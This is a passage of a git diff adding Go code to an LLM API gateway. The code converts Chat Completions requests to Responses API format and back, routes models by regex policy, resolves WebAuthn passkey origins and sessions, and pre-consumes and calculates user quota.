+	case dto.MessageImageUrl:
+		if vv.Url != "" {
+			return vv.Url
+		}
+		return v
+	case *dto.MessageImageUrl:
+		if vv != nil && vv.Url != "" {
+			return vv.Url
+		}
+		return v
+	default:
+		return v
+	}
+}
+
+func convertChatResponseFormatToResponsesText(reqFormat *dto.ResponseFormat) json.RawMessage {
+	if reqFormat == nil || strings.TrimSpace(reqFormat.Type) == "" {
+		return nil
+	}
+
+	format := map[string]any{
+		"type": reqFormat.Type,
+	}
+
+	if reqFormat.Type == "json_schema" && len(reqFormat.JsonSchema) > 0 {
+		var chatSchema map[string]any
+		if err := common.Unmarshal(reqFormat.JsonSchema, &chatSchema); err == nil {
+			for key, value := range chatSchema {
+				if key == "type" {
+					continue
+				}
+				format[key] = value
+			}
+
+			if nested, ok := format["json_schema"].(map[string]any); ok {
+				for key, value := range nested {
+					if _, exists := format[key]; !exists {
+						format[key] = value
+					}
+				}
+				delete(format, "json_schema")
+			}
+		} else {
+			format["json_schema"] = reqFormat.JsonSchema
+		}
+	}
+
+	textRaw, _ := common.Marshal(map[string]any{
+		"format": format,
+	})
+	return textRaw
+}
+
+func ChatCompletionsRequestToResponsesRequest(req *dto.GeneralOpenAIRequest) (*dto.OpenAIResponsesRequest, error) {
+	if req == nil {
+		return nil, errors.New("request is nil")
+	}
+	if req.Model == "" {
+		return nil, errors.New("model is required")
+	}
+	if lo.FromPtrOr(req.N, 1) > 1 {
+		return nil, fmt.Errorf("n>1 is not supported in responses compatibility mode")
+	}
+
+	var instructionsParts []string
+	inputItems := make([]map[string]any, 0, len(req.Messages))
+
+	for _, msg := range req.Messages {
+		role := strings.TrimSpace(msg.Role)
+		if role == "" {
+			continue
+		}
+
+		if role == "tool" || role == "function" {
+			callID := strings.TrimSpace(msg.ToolCallId)
+
+			var output any
+			if msg.Content == nil {
+				output = ""
+			} else if msg.IsStringContent() {
+				output = msg.StringContent()
+			} else {
+				if b, err := common.Marshal(msg.Content); err == nil {
+					output = string(b)
+				} else {
+					output = fmt.Sprintf("%v", msg.Content)
+				}
+			}
+
+			if callID == "" {
+				inputItems = append(inputItems, map[string]any{
+					"role":    "user",
+					"content": fmt.Sprintf("[tool_output_missing_call_id] %v", output),
+				})
+				continue
+			}
+
+			inputItems = append(inputItems, map[string]any{
+				"type":    "function_call_output",
+				"call_id": callID,
+				"output":  output,
+			})
+			continue
+		}
+
+		// Prefer mapping system/developer messages into `instructions`.
+		if role == "system" || role == "developer" {
+			if msg.Content == nil {
+				continue
+			}
+			if msg.IsStringContent() {
+				if s := strings.TrimSpace(msg.StringContent()); s != "" {
+					instructionsParts = append(instructionsParts, s)
+				}
+				continue
+			}
+			parts := msg.ParseContent()
+			var sb strings.Builder
+			for _, part := range parts {
+				if part.Type == dto.ContentTypeText && strings.TrimSpace(part.Text) != "" {
+					if sb.Len() > 0 {
+						sb.WriteString("\n")
+					}
+					sb.WriteString(part.Text)
+				}
+			}
+			if s := strings.TrimSpace(sb.String()); s != "" {
+				instructionsParts = append(instructionsParts, s)
+			}
+			continue
+		}
+
+		item := map[string]any{
+			"role": role,
+		}
+
+		if msg.Content == nil {
+			item["content"] = ""
+			inputItems = append(inputItems, item)
+
+			if role == "assistant" {
+				for _, tc := range msg.ParseToolCalls() {
+					if strings.TrimSpace(tc.ID) == "" {
+						continue
+					}
+					if tc.Type != "" && tc.Type != "function" {
+						continue
+					}
+					name := strings.TrimSpace(tc.Function.Name)
+					if name == "" {
+						continue
+					}
+					inputItems = append(inputItems, map[string]any{
+						"type":      "function_call",
+						"call_id":   tc.ID,
+						"name":      name,
+						"arguments": tc.Function.Arguments,
+					})
+				}
+			}
+			continue
+		}
+
+		if msg.IsStringContent() {
+			item["content"] = msg.StringContent()
+			inputItems = append(inputItems, item)
+
+			if role == "assistant" {
+				for _, tc := range msg.ParseToolCalls() {
+					if strings.TrimSpace(tc.ID) == "" {
+						continue
+					}
+					if tc.Type != "" && tc.Type != "function" {
+						continue
+					}
+					name := strings.TrimSpace(tc.Function.Name)
+					if name == "" {
+						continue
+					}
+					inputItems = append(inputItems, map[string]any{
+						"type":      "function_call",
+						"call_id":   tc.ID,
+						"name":      name,
+						"arguments": tc.Function.Arguments,
+					})
+				}
+			}
+			continue
+		}
+
+		parts := msg.ParseContent()
+		contentParts := make([]map[string]any, 0, len(parts))
+		for _, part := range parts {
+			switch part.Type {
+			case dto.ContentTypeText:
+				textType := "input_text"
+				if role == "assistant" {
+					textType = "output_text"
+				}
+				contentParts = append(contentParts, map[string]any{
+					"type": textType,
+					"text": part.Text,
+				})
+			case dto.ContentTypeImageURL:
+				contentParts = append(contentParts, map[string]any{
+					"type":      "input_image",
+					"image_url": normalizeChatImageURLToString(part.ImageUrl),
+				})
+			case dto.ContentTypeInputAudio:
+				contentParts = append(contentParts, map[string]any{
+					"type":        "input_audio",
+					"input_audio": part.InputAudio,
+				})
+			case dto.ContentTypeFile:
+				contentParts = append(contentParts, map[string]any{
+					"type": "input_file",
+					"file": part.File,
+				})
+			case dto.ContentTypeVideoUrl:
+				contentParts = append(contentParts, map[string]any{
+					"type":      "input_video",
+					"video_url": part.VideoUrl,
+				})
+			default:
+				contentParts = append(contentParts, map[string]any{
+					"type": part.Type,
+				})
+			}
+		}
+		item["content"] = contentParts
+		inputItems = append(inputItems, item)
+
+		if role == "assistant" {
+			for _, tc := range msg.ParseToolCalls() {
+				if strings.TrimSpace(tc.ID) == "" {
+					continue
+				}
+				if tc.Type != "" && tc.Type != "function" {
+					continue
+				}
+				name := strings.TrimSpace(tc.Function.Name)
+				if name == "" {
+					continue
+				}
+				inputItems = append(inputItems, map[string]any{
+					"type":      "function_call",
+					"call_id":   tc.ID,
+					"name":      name,
+					"arguments": tc.Function.Arguments,
+				})
+			}
+		}
+	}
+
+	inputRaw, err := common.Marshal(inputItems)
+	if err != nil {
+		return nil, err
+	}
+
+	var instructionsRaw json.RawMessage
+	if len(instructionsParts) > 0 {
+		instructions := strings.Join(instructionsParts, "\n\n")
+		instructionsRaw, _ = common.Marshal(instructions)
+	}
+
+	var toolsRaw json.RawMessage
+	if req.Tools != nil {
+		tools := make([]map[string]any, 0, len(req.Tools))
+		for _, tool := range req.Tools {
+			switch tool.Type {
+			case "function":
+				tools = append(tools, map[string]any{
+					"type":        "function",
+					"name":        tool.Function.Name,
+					"description": tool.Function.Description,
+					"parameters":  tool.Function.Parameters,
+				})
+			default:
+				// Best-effort: keep original tool shape for unknown types.
+				var m map[string]any
+				if b, err := common.Marshal(tool); err == nil {
+					_ = common.Unmarshal(b, &m)
+				}
+				if len(m) == 0 {
+					m = map[string]any{"type": tool.Type}
+				}
+				tools = append(tools, m)
+			}
+		}
+		toolsRaw, _ = common.Marshal(tools)
+	}
+
+	var toolChoiceRaw json.RawMessage
+	if req.ToolChoice != nil {
+		switch v := req.ToolChoice.(type) {
+		case string:
+			toolChoiceRaw, _ = common.Marshal(v)
+		default:
+			var m map[string]any
+			if b, err := common.Marshal(v); err == nil {
+				_ = common.Unmarshal(b, &m)
+			}
+			if m == nil {
+				toolChoiceRaw, _ = common.Marshal(v)
+			} else if t, _ := m["type"].(string); t == "function" {
+				// Chat: {"type":"function","function":{"name":"..."}}
+				// Responses: {"type":"function","name":"..."}
+				if name, ok := m["name"].(string); ok && name != "" {
+					toolChoiceRaw, _ = common.Marshal(map[string]any{
+						"type": "function",
+						"name": name,
+					})
+				} else if fn, ok := m["function"].(map[string]any); ok {
+					if name, ok := fn["name"].(string); ok && name != "" {
+						toolChoiceRaw, _ = common.Marshal(map[string]any{
+							"type": "function",
+							"name": name,
+						})
+					} else {
+						toolChoiceRaw, _ = common.Marshal(v)
+					}
+				} else {
+					toolChoiceRaw, _ = common.Marshal(v)
+				}
+			} else {
+				toolChoiceRaw, _ = common.Marshal(v)
+			}
+		}
+	}
+
+	var parallelToolCallsRaw json.RawMessage
+	if req.ParallelTooCalls != nil {
+		parallelToolCallsRaw, _ = common.Marshal(*req.ParallelTooCalls)
+	}
+
+	textRaw := convertChatResponseFormatToResponsesText(req.ResponseFormat)
+
+	maxOutputTokens := lo.FromPtrOr(req.MaxTokens, uint(0))
+	maxCompletionTokens := lo.FromPtrOr(req.MaxCompletionTokens, uint(0))
+	if maxCompletionTokens > maxOutputTokens {
+		maxOutputTokens = maxCompletionTokens
+	}
+	// OpenAI Responses API rejects max_output_tokens < 16 when explicitly provided.
+	//if maxOutputTokens > 0 && maxOutputTokens < 16 {
+	//	maxOutputTokens = 16
+	//}
+
+	var topP *float64
+	if req.TopP != nil {
+		topP = common.GetPointer(lo.FromPtr(req.TopP))
+	}
+
+	out := &dto.OpenAIResponsesRequest{
+		Model:             req.Model,
+		Input:             inputRaw,
+		Instructions:      instructionsRaw,
+		Stream:            req.Stream,
+		Temperature:       req.Temperature,
+		Text:              textRaw,
+		ToolChoice:        toolChoiceRaw,
+		Tools:             toolsRaw,
+		TopP:              topP,
+		User:              req.User,
+		ParallelToolCalls: parallelToolCallsRaw,
+		Store:             req.Store,
+		Metadata:          req.Metadata,
+	}
+	if req.MaxTokens != nil || req.MaxCompletionTokens != nil {
+		out.MaxOutputTokens = lo.ToPtr(maxOutputTokens)
+	}
+
+	if req.ReasoningEffort != "" {
+		out.Reasoning = &dto.Reasoning{
+			Effort:  req.ReasoningEffort,
+			Summary: "detailed",
+		}
+	}
+
+	return out, nil
+}
diff --git a/new-api/service/openaicompat/policy.go b/new-api/service/openaicompat/policy.go
new file mode 100644
index 0000000..b600b0f
--- /dev/null
+++ b/new-api/service/openaicompat/policy.go
@@ -0,0 +1,19 @@
+package openaicompat
+
+import "github.com/QuantumNous/new-api/setting/model_setting"
+
+func ShouldChatCompletionsUseResponsesPolicy(policy model_setting.ChatCompletionsToResponsesPolicy, channelID int, channelType int, model string) bool {
+	if !policy.IsChannelEnabled(channelID, channelType) {
+		return false
+	}
+	return matchAnyRegex(policy.ModelPatterns, model)
+}
+
+func ShouldChatCompletionsUseResponsesGlobal(channelID int, channelType int, model string) bool {
+	return ShouldChatCompletionsUseResponsesPolicy(
+		model_setting.GetGlobalSettings().ChatCompletionsToResponsesPolicy,
+		channelID,
+		channelType,
+		model,
+	)
+}
diff --git a/new-api/service/openaicompat/regex.go b/new-api/service/openaicompat/regex.go
new file mode 100644
index 0000000..4ad5e92
--- /dev/null
+++ b/new-api/service/openaicompat/regex.go
@@ -0,0 +1,33 @@
+package openaicompat
+
+import (
+	"regexp"
+	"sync"
+)
+
+var compiledRegexCache sync.Map // map[string]*regexp.Regexp
+
+func matchAnyRegex(patterns []string, s string) bool {
+	if len(patterns) == 0 || s == "" {
+		return false
+	}
+	for _, pattern := range patterns {
+		if pattern == "" {
+			continue
+		}
+		re, ok := compiledRegexCache.Load(pattern)
+		if !ok {
+			compiled, err := regexp.Compile(pattern)
+			if err != nil {
+				// Treat invalid patterns as non-matching to avoid breaking runtime traffic.
+				continue
+			}
+			re = compiled
+			compiledRegexCache.Store(pattern, re)
+		}
+		if re.(*regexp.Regexp).MatchString(s) {
+			return true
+		}
+	}
+	return false
+}
diff --git a/new-api/service/openaicompat/responses_to_chat.go b/new-api/service/openaicompat/responses_to_chat.go
new file mode 100644
index 0000000..d1c7473
--- /dev/null
+++ b/new-api/service/openaicompat/responses_to_chat.go
@@ -0,0 +1,133 @@
+package openaicompat
+
+import (
+	"errors"
+	"strings"
+
+	"github.com/QuantumNous/new-api/dto"
+)
+
+func ResponsesResponseToChatCompletionsResponse(resp *dto.OpenAIResponsesResponse, id string) (*dto.OpenAITextResponse, *dto.Usage, error) {
+	if resp == nil {
+		return nil, nil, errors.New("response is nil")
+	}
+
+	text := ExtractOutputTextFromResponses(resp)
+
+	usage := &dto.Usage{}
+	if resp.Usage != nil {
+		if resp.Usage.InputTokens != 0 {
+			usage.PromptTokens = resp.Usage.InputTokens
+			usage.InputTokens = resp.Usage.InputTokens
+		}
+		if resp.Usage.OutputTokens != 0 {
+			usage.CompletionTokens = resp.Usage.OutputTokens
+			usage.OutputTokens = resp.Usage.OutputTokens
+		}
+		if resp.Usage.TotalTokens != 0 {
+			usage.TotalTokens = resp.Usage.TotalTokens
+		} else {
+			usage.TotalTokens = usage.PromptTokens + usage.CompletionTokens
+		}
+		if resp.Usage.InputTokensDetails != nil {
+			usage.PromptTokensDetails.CachedTokens = resp.Usage.InputTokensDetails.CachedTokens
+			usage.PromptTokensDetails.ImageTokens = resp.Usage.InputTokensDetails.ImageTokens
+			usage.PromptTokensDetails.AudioTokens = resp.Usage.InputTokensDetails.AudioTokens
+		}
+		if resp.Usage.CompletionTokenDetails.ReasoningTokens != 0 {
+			usage.CompletionTokenDetails.ReasoningTokens = resp.Usage.CompletionTokenDetails.ReasoningTokens
+		}
+	}
+
+	created := resp.CreatedAt
+
+	var toolCalls []dto.ToolCallResponse
+	if text == "" && len(resp.Output) > 0 {
+		for _, out := range resp.Output {
+			if out.Type != "function_call" {
+				continue
+			}
+			name := strings.TrimSpace(out.Name)
+			if name == "" {
+				continue
+			}
+			callId := strings.TrimSpace(out.CallId)
+			if callId == "" {
+				callId = strings.TrimSpace(out.ID)
+			}
+			toolCalls = append(toolCalls, dto.ToolCallResponse{
+				ID:   callId,
+				Type: "function",
+				Function: dto.FunctionResponse{
+					Name:      name,
+					Arguments: out.ArgumentsString(),
+				},
+			})
+		}
+	}
+
+	finishReason := "stop"
+	if len(toolCalls) > 0 {
+		finishReason = "tool_calls"
+	}
+
+	msg := dto.Message{
+		Role:    "assistant",
+		Content: text,
+	}
+	if len(toolCalls) > 0 {
+		msg.SetToolCalls(toolCalls)
+		msg.Content = ""
+	}
+
+	out := &dto.OpenAITextResponse{
+		Id:      id,
+		Object:  "chat.completion",
+		Created: created,
+		Model:   resp.Model,
+		Choices: []dto.OpenAITextResponseChoice{
+			{
+				Index:        0,
+				Message:      msg,
+				FinishReason: finishReason,
+			},
+		},
+		Usage: *usage,
+	}
+
+	return out, usage, nil
+}
+
+func ExtractOutputTextFromResponses(resp *dto.OpenAIResponsesResponse) string {
+	if resp == nil || len(resp.Output) == 0 {
+		return ""
+	}
+
+	var sb strings.Builder
+
+	// Prefer assistant message outputs.
+	for _, out := range resp.Output {
+		if out.Type != "message" {
+			continue
+		}
+		if out.Role != "" && out.Role != "assistant" {
+			continue
+		}
+		for _, c := range out.Content {
+			if c.Type == "output_text" && c.Text != "" {
+				sb.WriteString(c.Text)
+			}
+		}
+	}
+	if sb.Len() > 0 {
+		return sb.String()
+	}
+	for _, out := range resp.Output {
+		for _, c := range out.Content {
+			if c.Text != "" {
+				sb.WriteString(c.Text)
+			}
+		}
+	}
+	return sb.String()
+}
diff --git a/new-api/service/passkey/service.go b/new-api/service/passkey/service.go
new file mode 100644
index 0000000..4d29d1a
--- /dev/null
+++ b/new-api/service/passkey/service.go
@@ -0,0 +1,177 @@
+package passkey
+
+import (
+	"errors"
+	"fmt"
+	"net"
+	"net/http"
+	"net/url"
+	"strings"
+	"time"
+
+	"github.com/QuantumNous/new-api/common"
+	"github.com/QuantumNous/new-api/setting/system_setting"
+
+	"github.com/go-webauthn/webauthn/protocol"
+	webauthn "github.com/go-webauthn/webauthn/webauthn"
+)
+
+const (
+	RegistrationSessionKey = "passkey_registration_session"
+	LoginSessionKey        = "passkey_login_session"
+	VerifySessionKey       = "passkey_verify_session"
+)
+
+// BuildWebAuthn constructs a WebAuthn instance using the current passkey settings and request context.
+func BuildWebAuthn(r *http.Request) (*webauthn.WebAuthn, error) {
+	settings := system_setting.GetPasskeySettings()
+	if settings == nil {
+		return nil, errors.New("未找到 Passkey 设置")
+	}
+
+	displayName := strings.TrimSpace(settings.RPDisplayName)
+	if displayName == "" {
+		displayName = common.SystemName
+	}
+
+	origins, err := resolveOrigins(r, settings)
+	if err != nil {
+		return nil, err
+	}
+
+	rpID, err := resolveRPID(r, settings, origins)
+	if err != nil {
+		return nil, err
+	}
+
+	selection := protocol.AuthenticatorSelection{
+		ResidentKey:        protocol.ResidentKeyRequirementRequired,
+		RequireResidentKey: protocol.ResidentKeyRequired(),
+		UserVerification:   protocol.UserVerificationRequirement(settings.UserVerification),
+	}
+	if selection.UserVerification == "" {
+		selection.UserVerification = protocol.VerificationPreferred
+	}
+	if attachment := strings.TrimSpace(settings.AttachmentPreference); attachment != "" {
+		selection.AuthenticatorAttachment = protocol.AuthenticatorAttachment(attachment)
+	}
+
+	config := &webauthn.Config{
+		RPID:                   rpID,
+		RPDisplayName:          displayName,
+		RPOrigins:              origins,
+		AuthenticatorSelection: selection,
+		Debug:                  common.DebugEnabled,
+		Timeouts: webauthn.TimeoutsConfig{
+			Login: webauthn.TimeoutConfig{
+				Enforce:    true,
+				Timeout:    2 * time.Minute,
+				TimeoutUVD: 2 * time.Minute,
+			},
+			Registration: webauthn.TimeoutConfig{
+				Enforce:    true,
+				Timeout:    2 * time.Minute,
+				TimeoutUVD: 2 * time.Minute,
+			},
+		},
+	}
+
+	return webauthn.New(config)
+}
+
+func resolveOrigins(r *http.Request, settings *system_setting.PasskeySettings) ([]string, error) {
+	originsStr := strings.TrimSpace(settings.Origins)
+	if originsStr != "" {
+		originList := strings.Split(originsStr, ",")
+		origins := make([]string, 0, len(originList))
+		for _, origin := range originList {
+			trimmed := strings.TrimSpace(origin)
+			if trimmed == "" {
+				continue
+			}
+			if !settings.AllowInsecureOrigin && strings.HasPrefix(strings.ToLower(trimmed), "http://") {
+				return nil, fmt.Errorf("Passkey 不允许使用不安全的 Origin: %s", trimmed)
+			}
+			origins = append(origins, trimmed)
+		}
+		if len(origins) == 0 {
+			// 如果配置了Origins但过滤后为空，使用自动推导
+			goto autoDetect
+		}
+		return origins, nil
+	}
+
+autoDetect:
+	scheme := detectScheme(r)
+	if scheme == "http" && !settings.AllowInsecureOrigin && r.Host != "localhost" && r.Host != "127.0.0.1" && !strings.HasPrefix(r.Host, "127.0.0.1:") && !strings.HasPrefix(r.Host, "localhost:") {
+		return nil, fmt.Errorf("Passkey 仅支持 HTTPS，当前访问: %s://%s，请在 Passkey 设置中允许不安全 Origin 或配置 HTTPS", scheme, r.Host)
+	}
+	// 优先使用请求的完整Host（包含端口）
+	host := r.Host
+
+	// 如果无法从请求获取Host，尝试从ServerAddress获取
+	if host == "" && system_setting.ServerAddress != "" {
+		if parsed, err := url.Parse(system_setting.ServerAddress); err == nil && parsed.Host != "" {
+			host = parsed.Host
+			if scheme == "" && parsed.Scheme != "" {
+				scheme = parsed.Scheme
+			}
+		}
+	}
+	if host == "" {
+		return nil, fmt.Errorf("无法确定 Passkey 的 Origin，请在系统设置或 Passkey 设置中指定。当前 Host: '%s', ServerAddress: '%s'", r.Host, system_setting.ServerAddress)
+	}
+	if scheme == "" {
+		scheme = "https"
+	}
+	origin := fmt.Sprintf("%s://%s", scheme, host)
+	return []string{origin}, nil
+}
+
+func resolveRPID(r *http.Request, settings *system_setting.PasskeySettings, origins []string) (string, error) {
+	rpID := strings.TrimSpace(settings.RPID)
+	if rpID != "" {
+		return hostWithoutPort(rpID), nil
+	}
+	if len(origins) == 0 {
+		return "", errors.New("Passkey 未配置 Origin，无法推导 RPID")
+	}
+	parsed, err := url.Parse(origins[0])
+	if err != nil {
+		return "", fmt.Errorf("无法解析 Passkey Origin: %w", err)
+	}
+	return hostWithoutPort(parsed.Host), nil
+}
+
+func hostWithoutPort(host string) string {
+	host = strings.TrimSpace(host)
+	if host == "" {
+		return ""
+	}
+	if strings.Contains(host, ":") {
+		if host, _, err := net.SplitHostPort(host); err == nil {
+			return host
+		}
+	}
+	return host
+}
+
+func detectScheme(r *http.Request) string {
+	if r == nil {
+		return ""
+	}
+	if proto := r.Header.Get("X-Forwarded-Proto"); proto != "" {
+		parts := strings.Split(proto, ",")
+		return strings.ToLower(strings.TrimSpace(parts[0]))
+	}
+	if r.TLS != nil {
+		return "https"
+	}
+	if r.URL != nil && r.URL.Scheme != "" {
+		return strings.ToLower(r.URL.Scheme)
+	}
+	if r.Header.Get("X-Forwarded-Protocol") != "" {
+		return strings.ToLower(strings.TrimSpace(r.Header.Get("X-Forwarded-Protocol")))
+	}
+	return "http"
+}
diff --git a/new-api/service/passkey/session.go b/new-api/service/passkey/session.go
new file mode 100644
index 0000000..15e6193
--- /dev/null
+++ b/new-api/service/passkey/session.go
@@ -0,0 +1,50 @@
+package passkey
+
+import (
+	"encoding/json"
+	"errors"
+
+	"github.com/gin-contrib/sessions"
+	"github.com/gin-gonic/gin"
+	webauthn "github.com/go-webauthn/webauthn/webauthn"
+)
+
+var errSessionNotFound = errors.New("Passkey 会话不存在或已过期")
+
+func SaveSessionData(c *gin.Context, key string, data *webauthn.SessionData) error {
+	session := sessions.Default(c)
+	if data == nil {
+		session.Delete(key)
+		return session.Save()
+	}
+	payload, err := json.Marshal(data)
+	if err != nil {
+		return err
+	}
+	session.Set(key, string(payload))
+	return session.Save()
+}
+
+func PopSessionData(c *gin.Context, key string) (*webauthn.SessionData, error) {
+	session := sessions.Default(c)
+	raw := session.Get(key)
+	if raw == nil {
+		return nil, errSessionNotFound
+	}
+	session.Delete(key)
+	_ = session.Save()
+	var data webauthn.SessionData
+	switch value := raw.(type) {
+	case string:
+		if err := json.Unmarshal([]byte(value), &data); err != nil {
+			return nil, err
+		}
+	case []byte:
+		if err := json.Unmarshal(value, &data); err != nil {
+			return nil, err
+		}
+	default:
+		return nil, errors.New("Passkey 会话格式无效")
+	}
+	return &data, nil
+}
diff --git a/new-api/service/passkey/user.go b/new-api/service/passkey/user.go
new file mode 100644
index 0000000..2ec248a
--- /dev/null
+++ b/new-api/service/passkey/user.go
@@ -0,0 +1,71 @@
+package passkey
+
+import (
+	"fmt"
+	"strconv"
+	"strings"
+
+	"github.com/QuantumNous/new-api/model"
+
+	webauthn "github.com/go-webauthn/webauthn/webauthn"
+)
+
+type WebAuthnUser struct {
+	user       *model.User
+	credential *model.PasskeyCredential
+}
+
+func NewWebAuthnUser(user *model.User, credential *model.PasskeyCredential) *WebAuthnUser {
+	return &WebAuthnUser{user: user, credential: credential}
+}
+
+func (u *WebAuthnUser) WebAuthnID() []byte {
+	if u == nil || u.user == nil {
+		return nil
+	}
+	return []byte(strconv.Itoa(u.user.Id))
+}
+
+func (u *WebAuthnUser) WebAuthnName() string {
+	if u == nil || u.user == nil {
+		return ""
+	}
+	name := strings.TrimSpace(u.user.Username)
+	if name == "" {
+		return fmt.Sprintf("user-%d", u.user.Id)
+	}
+	return name
+}
+
+func (u *WebAuthnUser) WebAuthnDisplayName() string {
+	if u == nil || u.user == nil {
+		return ""
+	}
+	display := strings.TrimSpace(u.user.DisplayName)
+	if display != "" {
+		return display
+	}
+	return u.WebAuthnName()
+}
+
+func (u *WebAuthnUser) WebAuthnCredentials() []webauthn.Credential {
+	if u == nil || u.credential == nil {
+		return nil
+	}
+	cred := u.credential.ToWebAuthnCredential()
+	return []webauthn.Credential{cred}
+}
+
+func (u *WebAuthnUser) ModelUser() *model.User {
+	if u == nil {
+		return nil
+	}
+	return u.user
+}
+
+func (u *WebAuthnUser) PasskeyCredential() *model.PasskeyCredential {
+	if u == nil {
+		return nil
+	}
+	return u.credential
+}
diff --git a/new-api/service/pre_consume_quota.go b/new-api/service/pre_consume_quota.go
new file mode 100644
index 0000000..d1c8365
--- /dev/null
+++ b/new-api/service/pre_consume_quota.go
@@ -0,0 +1,79 @@
+package service
+
+import (
+	"fmt"
+	"net/http"
+
+	"github.com/QuantumNous/new-api/common"
+	"github.com/QuantumNous/new-api/logger"
+	"github.com/QuantumNous/new-api/model"
+	relaycommon "github.com/QuantumNous/new-api/relay/common"
+	"github.com/QuantumNous/new-api/types"
+
+	"github.com/bytedance/gopkg/util/gopool"
+	"github.com/gin-gonic/gin"
+)
+
+func ReturnPreConsumedQuota(c *gin.Context, relayInfo *relaycommon.RelayInfo) {
+	if relayInfo.FinalPreConsumedQuota != 0 {
+		logger.LogInfo(c, fmt.Sprintf("用户 %d 请求失败, 返还预扣费额度 %s", relayInfo.UserId, logger.FormatQuota(relayInfo.FinalPreConsumedQuota)))
+		gopool.Go(func() {
+			relayInfoCopy := *relayInfo
+
+			err := PostConsumeQuota(&relayInfoCopy, -relayInfoCopy.FinalPreConsumedQuota, 0, false)
+			if err != nil {
+				common.SysLog("error return pre-consumed quota: " + err.Error())
+			}
+		})
+	}
+}
+
+// PreConsumeQuota checks if the user has enough quota to pre-consume.
+// It returns the pre-consumed quota if successful, or an error if not.
+func PreConsumeQuota(c *gin.Context, preConsumedQuota int, relayInfo *relaycommon.RelayInfo) *types.NewAPIError {
+	userQuota, err := model.GetUserQuota(relayInfo.UserId, false)
+	if err != nil {
+		return types.NewError(err, types.ErrorCodeQueryDataError, types.ErrOptionWithSkipRetry())
+	}
+	if userQuota <= 0 {
+		return types.NewErrorWithStatusCode(fmt.Errorf("用户额度不足, 剩余额度: %s", logger.FormatQuota(userQuota)), types.ErrorCodeInsufficientUserQuota, http.StatusForbidden, types.ErrOptionWithSkipRetry(), types.ErrOptionWithNoRecordErrorLog())
+	}
+	if userQuota-preConsumedQuota < 0 {
+		return types.NewErrorWithStatusCode(fmt.Errorf("预扣费额度失败, 用户剩余额度: %s, 需要预扣费额度: %s", logger.FormatQuota(userQuota), logger.FormatQuota(preConsumedQuota)), types.ErrorCodeInsufficientUserQuota, http.StatusForbidden, types.ErrOptionWithSkipRetry(), types.ErrOptionWithNoRecordErrorLog())
+	}
+
+	trustQuota := common.GetTrustQuota()
+
+	relayInfo.UserQuota = userQuota
+	if userQuota > trustQuota {
+		// 用户额度充足，判断令牌额度是否充足
+		if !relayInfo.TokenUnlimited {
+			// 非无限令牌，判断令牌额度是否充足
+			tokenQuota := c.GetInt("token_quota")
+			if tokenQuota > trustQuota {
+				// 令牌额度充足，信任令牌
+				preConsumedQuota = 0
+				logger.LogInfo(c, fmt.Sprintf("用户 %d 剩余额度 %s 且令牌 %d 额度 %d 充足, 信任且不需要预扣费", relayInfo.UserId, logger.FormatQuota(userQuota), relayInfo.TokenId, tokenQuota))
+			}
+		} else {
+			// in this case, we do not pre-consume quota
+			// because the user has enough quota
+			preConsumedQuota = 0
+			logger.LogInfo(c, fmt.Sprintf("用户 %d 额度充足且为无限额度令牌, 信任且不需要预扣费", relayInfo.UserId))
+		}
+	}
+
+	if preConsumedQuota > 0 {
+		err := PreConsumeTokenQuota(relayInfo, preConsumedQuota)
+		if err != nil {
+			return types.NewErrorWithStatusCode(err, types.ErrorCodePreConsumeTokenQuotaFailed, http.StatusForbidden, types.ErrOptionWithSkipRetry(), types.ErrOptionWithNoRecordErrorLog())
+		}
+		err = model.DecreaseUserQuota(relayInfo.UserId, preConsumedQuota, false)
+		if err != nil {
+			return types.NewError(err, types.ErrorCodeUpdateDataError, types.ErrOptionWithSkipRetry())
+		}
+		logger.LogInfo(c, fmt.Sprintf("用户 %d 预扣费 %s, 预扣费后剩余额度: %s", relayInfo.UserId, logger.FormatQuota(preConsumedQuota), logger.FormatQuota(userQuota-preConsumedQuota)))
+	}
+	relayInfo.FinalPreConsumedQuota = preConsumedQuota
+	return nil
+}
diff --git a/new-api/service/quota.go b/new-api/service/quota.go
new file mode 100644
index 0000000..398bd1b
--- /dev/null
+++ b/new-api/service/quota.go
@@ -0,0 +1,544 @@
+package service
+
+import (
+	"errors"
+	"fmt"
+	"log"
+	"math"
+	"strings"
+	"time"
+
+	"github.com/QuantumNous/new-api/common"
+	"github.com/QuantumNous/new-api/constant"
+	"github.com/QuantumNous/new-api/dto"
+	"github.com/QuantumNous/new-api/logger"
+	"github.com/QuantumNous/new-api/model"
+	"github.com/QuantumNous/new-api/pkg/billingexpr"
+	relaycommon "github.com/QuantumNous/new-api/relay/common"
+	"github.com/QuantumNous/new-api/setting/ratio_setting"
+	"github.com/QuantumNous/new-api/setting/system_setting"
+	"github.com/QuantumNous/new-api/types"
+
+	"github.com/bytedance/gopkg/util/gopool"
+
+	"github.com/gin-gonic/gin"
+	"github.com/shopspring/decimal"
+)
+
+type TokenDetails struct {
+	TextTokens  int
+	AudioTokens int
+}
+
+type QuotaInfo struct {
+	InputDetails  TokenDetails
+	OutputDetails TokenDetails
+	ModelName     string
+	UsePrice      bool
+	ModelPrice    float64
+	ModelRatio    float64
+	GroupRatio    float64
+}
+
+func hasCustomModelRatio(modelName string, currentRatio float64) bool {
+	defaultRatio, exists := ratio_setting.GetDefaultModelRatioMap()[modelName]
+	if !exists {
+		return true
+	}
+	return currentRatio != defaultRatio
+}
+
+func calculateAudioQuota(info QuotaInfo) int {
+	if info.UsePrice {
+		modelPrice := decimal.NewFromFloat(info.ModelPrice)
+		quotaPerUnit := decimal.NewFromFloat(common.QuotaPerUnit)
+		groupRatio := decimal.NewFromFloat(info.GroupRatio)
+
+		quota := modelPrice.Mul(quotaPerUnit).Mul(groupRatio)
+		return int(quota.IntPart())
+	}
+
+	completionRatio := decimal.NewFromFloat(ratio_setting.GetCompletionRatio(info.ModelName))
+	audioRatio := decimal.NewFromFloat(ratio_setting.GetAudioRatio(info.ModelName))
+	audioCompletionRatio := decimal.NewFromFloat(ratio_setting.GetAudioCompletionRatio(info.ModelName))
+
+	groupRatio := decimal.NewFromFloat(info.GroupRatio)
+	modelRatio := decimal.NewFromFloat(info.ModelRatio)
+	ratio := groupRatio.Mul(modelRatio)
+
+	inputTextTokens := decimal.NewFromInt(int64(info.InputDetails.TextTokens))
+	outputTextTokens := decimal.NewFromInt(int64(info.OutputDetails.TextTokens))
+	inputAudioTokens := decimal.NewFromInt(int64(info.InputDetails.AudioTokens))
+	outputAudioTokens := decimal.NewFromInt(int64(info.OutputDetails.AudioTokens))
+
+	quota := decimal.Zero
+	quota = quota.Add(inputTextTokens)
+	quota = quota.Add(outputTextTokens.Mul(completionRatio))
